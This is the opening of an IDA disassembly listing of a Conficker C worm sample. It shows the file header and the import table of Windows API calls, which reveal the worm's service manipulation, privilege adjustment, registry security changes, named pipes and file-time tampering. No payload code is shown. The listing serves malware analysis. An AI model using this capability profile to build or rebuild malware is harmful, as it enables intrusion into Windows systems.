;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	81D1749BBFFBC8768E57D578696F33B0

; File Name   :	/space/hassen/conficker_C.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	9A0000
; Section 1. (virtual address 00001000)
; Virtual size			: 00021000 ( 135168.)
; Section size in file		: 0002036E ( 131950.)
; Offset to raw	data for section: 00000200
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
;
; Imports from advapi32.dll
;
; OS type	  :  MS	Windows
; Application type:  DLL 32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
		extrn RegOpenKeyExW:dword ; CODE XREF: sub_9AE496+3Cp
					; sub_9AE520+36p
					; DATA XREF: ...
; LSTATUS __stdcall RegSetKeySecurity(HKEY hKey,SECURITY_INFORMATION SecurityInformation,PSECURITY_DESCRIPTOR pSecurityDescriptor)
		extrn RegSetKeySecurity:dword ;	CODE XREF: sub_9AE3A4+A7p
					; DATA XREF: sub_9AE3A4+A7r
; SC_HANDLE __stdcall OpenSCManagerW(LPCWSTR lpMachineName,LPCWSTR lpDatabaseName,DWORD	dwDesiredAccess)
		extrn OpenSCManagerW:dword ; CODE XREF:	sub_9AE195+3Ep
					; DATA XREF: sub_9AE195+3Er
; BOOL __stdcall EnumServicesStatusW(SC_HANDLE hSCManager,DWORD	dwServiceType,DWORD dwServiceState,LPENUM_SERVICE_STATUSW lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle)
		extrn EnumServicesStatusW:dword	; CODE XREF: sub_9AE195+7Ap
					; DATA XREF: sub_9AE195+7Ar
; SC_HANDLE __stdcall OpenServiceW(SC_HANDLE hSCManager,LPCWSTR	lpServiceName,DWORD dwDesiredAccess)
		extrn OpenServiceW:dword ; CODE	XREF: sub_9AE195+FDp
					; DATA XREF: sub_9AE195+FDr
; BOOL __stdcall QueryServiceConfigW(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGW	lpServiceConfig,DWORD cbBufSize,LPDWORD	pcbBytesNeeded)
		extrn QueryServiceConfigW:dword	; CODE XREF: sub_9AE195+11Dp
					; DATA XREF: sub_9AE195+11Dr
; BOOL __stdcall QueryServiceConfig2W(SC_HANDLE	hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded)
		extrn QueryServiceConfig2W:dword ; CODE	XREF: sub_9AE195+143p
					; DATA XREF: sub_9AE195+143r
; BOOL __stdcall ImpersonateLoggedOnUser(HANDLE	hToken)
		extrn ImpersonateLoggedOnUser:dword ; CODE XREF: sub_9AD417+45p
					; DATA XREF: sub_9AD417+45r
; BOOL __stdcall InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor,DWORD dwRevision)
		extrn InitializeSecurityDescriptor:dword ; CODE	XREF: sub_9AD15E+4Ep
					; sub_9AE3A4+8Ap
					; DATA XREF: ...
; DWORD	__stdcall GetLengthSid(PSID pSid)
		extrn GetLengthSid:dword ; CODE	XREF: sub_9AD15E+6Fp
					; sub_9AE3A4+49p
					; DATA XREF: ...
; BOOL __stdcall InitializeAcl(PACL pAcl,DWORD nAclLength,DWORD	dwAclRevision)
		extrn InitializeAcl:dword ; CODE XREF: sub_9AD15E+9Ap
					; sub_9AE3A4+6Dp
					; DATA XREF: ...
; BOOL __stdcall AddAccessAllowedAce(PACL pAcl,DWORD dwAceRevision,DWORD AccessMask,PSID pSid)
		extrn AddAccessAllowedAce:dword	; CODE XREF: sub_9AD15E+A9p
					; sub_9AE3A4+7Ep
					; DATA XREF: ...
; BOOL __stdcall SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR	pSecurityDescriptor,BOOL bDaclPresent,PACL pDacl,BOOL bDaclDefaulted)
		extrn SetSecurityDescriptorDacl:dword ;	CODE XREF: sub_9AD15E+B9p
					; sub_9AE3A4+98p
					; DATA XREF: ...
; BOOL __stdcall SetFileSecurityA(LPCSTR lpFileName,SECURITY_INFORMATION SecurityInformation,PSECURITY_DESCRIPTOR pSecurityDescriptor)
		extrn SetFileSecurityA:dword ; CODE XREF: sub_9AD15E+C8p
					; DATA XREF: sub_9AD15E+C8r
; BOOL __stdcall LookupPrivilegeValueA(LPCSTR lpSystemName,LPCSTR lpName,PLUID lpLuid)
		extrn LookupPrivilegeValueA:dword ; CODE XREF: sub_9AC5D7+3Cp
					; DATA XREF: sub_9AC5D7+3Cr
; BOOL __stdcall AdjustTokenPrivileges(HANDLE TokenHandle,BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState,DWORD BufferLength,PTOKEN_PRIVILEGES PreviousState,PDWORD ReturnLength)
		extrn AdjustTokenPrivileges:dword ; CODE XREF: sub_9AC5D7+52p
					; DATA XREF: sub_9AC5D7+52r
; BOOL __stdcall ChangeServiceConfigA(SC_HANDLE	hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName)
		extrn ChangeServiceConfigA:dword ; CODE	XREF: sub_9AC553+69p
					; DATA XREF: sub_9AC553+69r
; BOOL __stdcall RevertToSelf()
		extrn RevertToSelf:dword ; CODE	XREF: sub_9A99AE+1Fp
					; DATA XREF: sub_9A99AE+1Fr
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
		extrn RegSetValueExA:dword ; CODE XREF:	sub_9A8419+30p
					; sub_9AD05F+31p ...
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_9A8396+1Bp
					; sub_9A8419+17p ...
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_9A8396+36p
					; sub_9A8396+59p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_9A8396+76p
					; sub_9A8419+3Ep ...
; SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD	dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword)
		extrn CreateServiceA:dword ; CODE XREF:	sub_9A7F37+3Ap
					; DATA XREF: sub_9A7F37+3Ar
; BOOL __stdcall StartServiceA(SC_HANDLE hService,DWORD	dwNumServiceArgs,LPCSTR	*lpServiceArgVectors)
		extrn StartServiceA:dword ; CODE XREF: sub_9A7F37+4Fp
					; DATA XREF: sub_9A7F37+4Fr
; SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess)
		extrn OpenSCManagerA:dword ; CODE XREF:	sub_9A7ED6+14p
					; sub_9A7F37+Ep ...
; SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess)
		extrn OpenServiceA:dword ; CODE	XREF: sub_9A7ED6+2Ap
					; sub_9AC553+2Ap
					; DATA XREF: ...
; BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject)
		extrn CloseServiceHandle:dword ; CODE XREF: sub_9A7ED6+54p
					; sub_9A7ED6+57p ...
; BOOL __stdcall ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus)
		extrn ControlService:dword ; CODE XREF:	sub_9A7ED6+43p
					; sub_9AC553+44p
					; DATA XREF: ...
; BOOL __stdcall DeleteService(SC_HANDLE hService)
		extrn DeleteService:dword ; CODE XREF: sub_9A7ED6+4Dp
					; DATA XREF: sub_9A7ED6+4Dr
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle,DWORD DesiredAccess,PHANDLE TokenHandle)
		extrn OpenProcessToken:dword ; CODE XREF: sub_9A72CA+19p
					; sub_9AC5D7+16p ...
; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS	TokenInformationClass,LPVOID TokenInformation,DWORD TokenInformationLength,PDWORD ReturnLength)
		extrn GetTokenInformation:dword	; CODE XREF: sub_9A72CA+39p
					; sub_9A72CA+75p
					; DATA XREF: ...
; BOOL __stdcall AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,BYTE nSubAuthorityCount,DWORD nSubAuthority0,DWORD nSubAuthority1,DWORD nSubAuthority2,DWORD nSubAuthority3,DWORD nSubAuthority4,DWORD	nSubAuthority5,DWORD nSubAuthority6,DWORD nSubAuthority7,PSID *pSid)
		extrn AllocateAndInitializeSid:dword ; CODE XREF: sub_9A72CA+B1p
					; sub_9A72CA+C6p ...
; BOOL __stdcall EqualSid(PSID pSid1,PSID pSid2)
		extrn EqualSid:dword	; CODE XREF: sub_9A72CA+E8p
					; sub_9A72CA+F8p
					; DATA XREF: ...
; PVOID	__stdcall FreeSid(PSID pSid)
		extrn FreeSid:dword	; CODE XREF: sub_9A72CA+122p
					; sub_9A72CA+12Cp ...
; LSTATUS __stdcall RegEnumKeyExW(HKEY hKey,DWORD dwIndex,LPWSTR lpName,LPDWORD	lpcchName,LPDWORD lpReserved,LPWSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime)
		extrn RegEnumKeyExW:dword ; CODE XREF: sub_9AE496+77p
					; DATA XREF: sub_9AE496+Br
; LSTATUS __stdcall RegSetValueExW(HKEY	hKey,LPCWSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE	*lpData,DWORD cbData)
		extrn RegSetValueExW:dword ; CODE XREF:	sub_9AE520+F8p
					; sub_9AE641+F2p ...
; LSTATUS __stdcall RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
		extrn RegQueryValueExW:dword ; CODE XREF: sub_9AE520+6Bp
					; sub_9AE520+B5p
					; DATA XREF: ...
; LSTATUS __stdcall RegFlushKey(HKEY hKey)
		extrn RegFlushKey:dword	; CODE XREF: sub_9AE641+1DFp
					; DATA XREF: sub_9AE641+1DFr
; LSTATUS __stdcall RegCreateKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD Reserved,LPWSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD	lpdwDisposition)
		extrn RegCreateKeyExW:dword ; CODE XREF: sub_9AE641+C5p
					; sub_9AE641+19Ep
					; DATA XREF: ...
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
		extrn RegCreateKeyExA:dword ; CODE XREF: sub_9AE850+1A2p
					; DATA XREF: sub_9AE850+1A2r

;
; Imports from kernel32.dll
;
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; DWORD	__stdcall WaitForMultipleObjects(DWORD nCount,const HANDLE *lpHandles,BOOL bWaitAll,DWORD dwMilliseconds)
		extrn WaitForMultipleObjects:dword ; CODE XREF:	sub_9AEECE+190p
					; DATA XREF: sub_9AEECE+190r
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_9AE140+49p
					; DATA XREF: sub_9AE140+49r
; HANDLE __stdcall OpenEventA(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCSTR lpName)
		extrn OpenEventA:dword	; CODE XREF: sub_9ADBF1+454p
					; sub_9ADBF1+4CEp
					; DATA XREF: ...
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword ; CODE XREF: sub_9A7170+2Ap
					; sub_9A7CBF+49p ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
		extrn GetSystemDirectoryA:dword	; CODE XREF: sub_9A722A+44p
					; sub_9A7670+5Ep ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_9A72CA+139p
					; StartAddress+72p ...
; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
		extrn GlobalFree:dword	; CODE XREF: sub_9A72CA+12Fp
					; sub_9A752A+ECp ...
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags,SIZE_T dwBytes)
		extrn GlobalAlloc:dword	; CODE XREF: sub_9A72CA+58p
					; sub_9A8396+40p ...
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_9A72CA+43p
					; sub_9A798D+F0p ...
; HANDLE __stdcall GetCurrentProcess()
		extrn GetCurrentProcess:dword ;	CODE XREF: sub_9A72CA+12p
					; sub_9AC5D7+Fp
					; DATA XREF: ...
; int __stdcall	WideCharToMultiByte(UINT CodePage,DWORD	dwFlags,LPCWSTR	lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
		extrn WideCharToMultiByte:dword	; CODE XREF: sub_9A7410+50p
					; sub_9A9318+42p ...
; DWORD	__stdcall GetVersion()
		extrn GetVersion:dword	; CODE XREF: sub_9A752A+127p
					; StartAddress+4Cp ...
; BOOL __stdcall MoveFileExA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,DWORD dwFlags)
		extrn MoveFileExA:dword	; CODE XREF: sub_9A752A+E3p
					; sub_9A7670+31p ...
; BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName)
		extrn MoveFileA:dword	; CODE XREF: sub_9A752A+89p
					; DATA XREF: sub_9A752A+89r
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
		extrn GetTempPathA:dword ; CODE	XREF: sub_9A7670+FDp
					; sub_9A7F9D+70p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_9A7670+49p
					; StartAddress+41p ...
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: sub_9A7670+3Ep
					; sub_9A7F9D+119p ...
; BOOL __stdcall LockFile(HANDLE hFile,DWORD dwFileOffsetLow,DWORD dwFileOffsetHigh,DWORD nNumberOfBytesToLockLow,DWORD	nNumberOfBytesToLockHigh)
		extrn LockFile:dword	; CODE XREF: StartAddress+13Dp
					; DATA XREF: StartAddress+13Dr
; DWORD	__stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
		extrn GetFileSize:dword	; CODE XREF: StartAddress+133p
					; sub_9AC769+2Dp
					; DATA XREF: ...
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: StartAddress+111p
					; StartAddress+125p ...
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T	dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: StartAddress+6Bp
					; sub_9A798D+206p ...
; UINT __stdcall SetErrorMode(UINT uMode)
		extrn SetErrorMode:dword ; CODE	XREF: StartAddress+Fp
					; DATA XREF: StartAddress+Fr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_9A798D+196p
					; DATA XREF: sub_9A798D+196r
; HANDLE __stdcall OpenMutexA(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCSTR lpName)
		extrn OpenMutexA:dword	; CODE XREF: sub_9A798D+15Bp
					; DATA XREF: sub_9A798D+15Br
; LPSTR	__stdcall GetCommandLineA()
		extrn GetCommandLineA:dword ; CODE XREF: sub_9A798D+F9p
					; DATA XREF: sub_9A798D+F9r
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
		extrn CreateMutexA:dword ; CODE	XREF: sub_9A798D+E5p
					; DllMain(x,x,x)+5Dp
					; DATA XREF: ...
; BOOL __stdcall GetComputerNameA(LPSTR	lpBuffer,LPDWORD nSize)
		extrn GetComputerNameA:dword ; CODE XREF: sub_9A798D+69p
					; sub_9A8D3E+1Bp ...
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: sub_9A798D+3Cp
					; sub_9AC6A4+24p ...
; DWORD	__stdcall GetCurrentProcessId()
		extrn GetCurrentProcessId:dword	; CODE XREF: DllMain(x,x,x)+2Cp
					; sub_9AB07D+17p ...
; BOOL __stdcall DisableThreadLibraryCalls(HMODULE hLibModule)
		extrn DisableThreadLibraryCalls:dword ;	CODE XREF: DllMain(x,x,x)+22p
					; DATA XREF: DllMain(x,x,x)+22r
; BOOL __stdcall DeviceIoControl(HANDLE	hDevice,DWORD dwIoControlCode,LPVOID lpInBuffer,DWORD nInBufferSize,LPVOID lpOutBuffer,DWORD nOutBufferSize,LPDWORD lpBytesReturned,LPOVERLAPPED lpOverlapped)
		extrn DeviceIoControl:dword ; CODE XREF: sub_9A7F9D+14Fp
					; DATA XREF: sub_9A7F9D+14Fr
; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID	lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_9A7F9D+DEp
					; sub_9A8D7E+5Fp ...
; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
		extrn GetTempFileNameA:dword ; CODE XREF: sub_9A7F9D+5Ep
					; sub_9A7F9D+8Cp ...
; BOOL __stdcall VirtualFree(LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType)
		extrn VirtualFree:dword	; CODE XREF: sub_9A81B2+1D2p
					; sub_9AB408+69p
					; DATA XREF: ...
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_9A81B2+18Ap
					; sub_9AB408+25p ...
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_9A81B2+14Cp
					; sub_9AB408+16p ...
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T	dwSize,DWORD flAllocationType,DWORD flProtect)
		extrn VirtualAlloc:dword ; CODE	XREF: sub_9A81B2+4Ap
					; sub_9AB408+3Cp
					; DATA XREF: ...
; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime,LPFILETIME	lpFileTime)
		extrn SystemTimeToFileTime:dword ; CODE	XREF: sub_9A8606+17p
					; sub_9AEC85+91p
					; DATA XREF: ...
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
		extrn GetSystemTime:dword ; CODE XREF: sub_9A8606+Ap
					; sub_9AEC85+6Fp ...
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_9A8AD0+60p
					; sub_9A8BC6+24p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_9A8AD0+1Cp
					; sub_9A8BC6+Fp ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_9A8B47+19p
					; sub_9A8B47+1Fp
					; DATA XREF: ...
; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
		extrn ReadFile:dword	; CODE XREF: sub_9A90F2+63p
					; sub_9AC769+51p
					; DATA XREF: ...
; BOOL __stdcall ConnectNamedPipe(HANDLE hNamedPipe,LPOVERLAPPED lpOverlapped)
		extrn ConnectNamedPipe:dword ; CODE XREF: sub_9A90F2+36p
					; DATA XREF: sub_9A90F2+36r
; HANDLE __stdcall CreateNamedPipeA(LPCSTR lpName,DWORD	dwOpenMode,DWORD dwPipeMode,DWORD nMaxInstances,DWORD nOutBufferSize,DWORD nInBufferSize,DWORD nDefaultTimeOut,LPSECURITY_ATTRIBUTES lpSecurityAttributes)
		extrn CreateNamedPipeA:dword ; CODE XREF: sub_9A90F2+A2p
					; DATA XREF: sub_9A90F2+1Dr
; BOOL __stdcall DeleteFileW(LPCWSTR lpFileName)
		extrn DeleteFileW:dword	; CODE XREF: sub_9A9318+2C8p
					; DATA XREF: sub_9A9318+2C8r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn GetLocalTime:dword ; CODE	XREF: sub_9A9318+267p
					; DATA XREF: sub_9A9318+267r
; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName,DWORD	dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES	lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileW:dword	; CODE XREF: sub_9A9318+17Ap
					; DATA XREF: sub_9A9318+17Ar
; BOOL __stdcall FindClose(HANDLE hFindFile)
		extrn FindClose:dword	; CODE XREF: sub_9A9318+14Cp
					; sub_9ABB9F+1F7p ...
; HANDLE __stdcall FindFirstFileW(LPCWSTR lpFileName,LPWIN32_FIND_DATAW	lpFindFileData)
		extrn FindFirstFileW:dword ; CODE XREF:	sub_9A9318+140p
					; DATA XREF: sub_9A9318+140r
; int __stdcall	MultiByteToWideChar(UINT CodePage,DWORD	dwFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPWSTR lpWideCharStr,int cchWideChar)
		extrn MultiByteToWideChar:dword	; CODE XREF: sub_9A96FE+13Ap
					; sub_9AAE90+34p ...
; BOOL __stdcall GetComputerNameW(LPWSTR lpBuffer,LPDWORD nSize)
		extrn GetComputerNameW:dword ; CODE XREF: sub_9A993B+5Ap
					; DATA XREF: sub_9A993B+5Ar
; BOOL __stdcall TerminateThread(HANDLE	hThread,DWORD dwExitCode)
		extrn TerminateThread:dword ; CODE XREF: sub_9A9A64+149p
					; sub_9A9CA1+74p ...
; DWORD	__stdcall GetCurrentThreadId()
		extrn GetCurrentThreadId:dword ; CODE XREF: sub_9A9A64+120p
					; sub_9AC50B+7p
					; DATA XREF: ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_9A9CA1+65p
					; sub_9AD6D4+5Cp ...
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_9AAD64+24p
					; sub_9AAE58+29p ...
; BOOL __stdcall Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme)
		extrn __imp_Module32Next:dword ; DATA XREF: Module32Nextr
; BOOL __stdcall Module32First(HANDLE hSnapshot,LPMODULEENTRY32	lpme)
		extrn __imp_Module32First:dword	; DATA XREF: Module32Firstr
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags,DWORD	th32ProcessID)
		extrn __imp_CreateToolhelp32Snapshot:dword
					; DATA XREF: CreateToolhelp32Snapshotr
; BOOL __stdcall SetThreadPriority(HANDLE hThread,int nPriority)
		extrn SetThreadPriority:dword ;	CODE XREF: sub_9AB2C9+EDp
					; sub_9AB2C9+106p ...
; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T	dwSize,DWORD flNewProtect,PDWORD lpflOldProtect)
		extrn VirtualProtect:dword ; CODE XREF:	sub_9AB2C9+CFp
					; sub_9AB2C9+114p
					; DATA XREF: ...
; int __stdcall	GetThreadPriority(HANDLE hThread)
		extrn GetThreadPriority:dword ;	CODE XREF: sub_9AB2C9+1Fp
					; DATA XREF: sub_9AB2C9+1Fr
; HANDLE __stdcall GetCurrentThread()
		extrn GetCurrentThread:dword ; CODE XREF: sub_9AB2C9+15p
					; DATA XREF: sub_9AB2C9+15r
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: sub_9AB408+9p
					; sub_9AB535+5p ...
; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes)
		extrn CreateDirectoryA:dword ; CODE XREF: sub_9ABB9F+250p
					; sub_9ABB9F+2AFp
					; DATA XREF: ...
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
		extrn FindFirstFileA:dword ; CODE XREF:	sub_9ABB9F+1E8p
					; sub_9ABB9F+369p
					; DATA XREF: ...
; BOOL __stdcall GetVolumeInformationA(LPCSTR lpRootPathName,LPSTR lpVolumeNameBuffer,DWORD nVolumeNameSize,LPDWORD lpVolumeSerialNumber,LPDWORD lpMaximumComponentLength,LPDWORD lpFileSystemFlags,LPSTR lpFileSystemNameBuffer,DWORD nFileSystemNameSize)
		extrn GetVolumeInformationA:dword ; CODE XREF: sub_9ABB9F+32p
					; sub_9AC33E+3Bp
					; DATA XREF: ...
; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
		extrn GetDriveTypeA:dword ; CODE XREF: sub_9ABFD3+47p
					; sub_9AC151+48p
					; DATA XREF: ...
; DWORD	__stdcall GetLogicalDrives()
		extrn GetLogicalDrives:dword ; CODE XREF: sub_9AC151+17p
					; DATA XREF: sub_9AC151+17r
; DWORD	__stdcall GetTickCount()
		extrn GetTickCount:dword ; CODE	XREF: sub_9AC50B:loc_9AC53Ap
					; sub_9AD58F+4Fp ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
		extrn QueryPerformanceCounter:dword ; CODE XREF: sub_9AC50B+1Bp
					; DATA XREF: sub_9AC50B+1Br
; BOOL __stdcall SetFileTime(HANDLE hFile,const	FILETIME *lpCreationTime,const FILETIME	*lpLastAccessTime,const	FILETIME *lpLastWriteTime)
		extrn SetFileTime:dword	; CODE XREF: sub_9AC6A4+8Fp
					; DATA XREF: sub_9AC6A4+8Fr
; BOOL __stdcall GetFileTime(HANDLE hFile,LPFILETIME lpCreationTime,LPFILETIME lpLastAccessTime,LPFILETIME lpLastWriteTime)
		extrn GetFileTime:dword	; CODE XREF: sub_9AC6A4+5Bp
					; DATA XREF: sub_9AC6A4+5Br
; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD	dwFlags,SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_9AC741+Dp
					; DATA XREF: sub_9AC741+Dr
; HANDLE __stdcall GetProcessHeap()
		extrn GetProcessHeap:dword ; CODE XREF:	sub_9AC741+6p
					; sub_9AC755+6p
					; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_9AC755+Dp
					; DATA XREF: sub_9AC755+Dr
; BOOL __stdcall Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32Next:dword	; DATA XREF: Process32Nextr
; BOOL __stdcall Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32First:dword ; DATA	XREF: Process32Firstr
; BOOL __stdcall Thread32Next(HANDLE hSnapshot,LPTHREADENTRY32 lpte)
		extrn __imp_Thread32Next:dword ; DATA XREF: Thread32Nextr
; HANDLE __stdcall OpenThread(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwThreadId)
		extrn OpenThread:dword	; CODE XREF: sub_9ACC9F+123p
					; DATA XREF: sub_9ACC9F+123r
; BOOL __stdcall Thread32First(HANDLE hSnapshot,LPTHREADENTRY32	lpte)
		extrn __imp_Thread32First:dword	; DATA XREF: Thread32Firstr
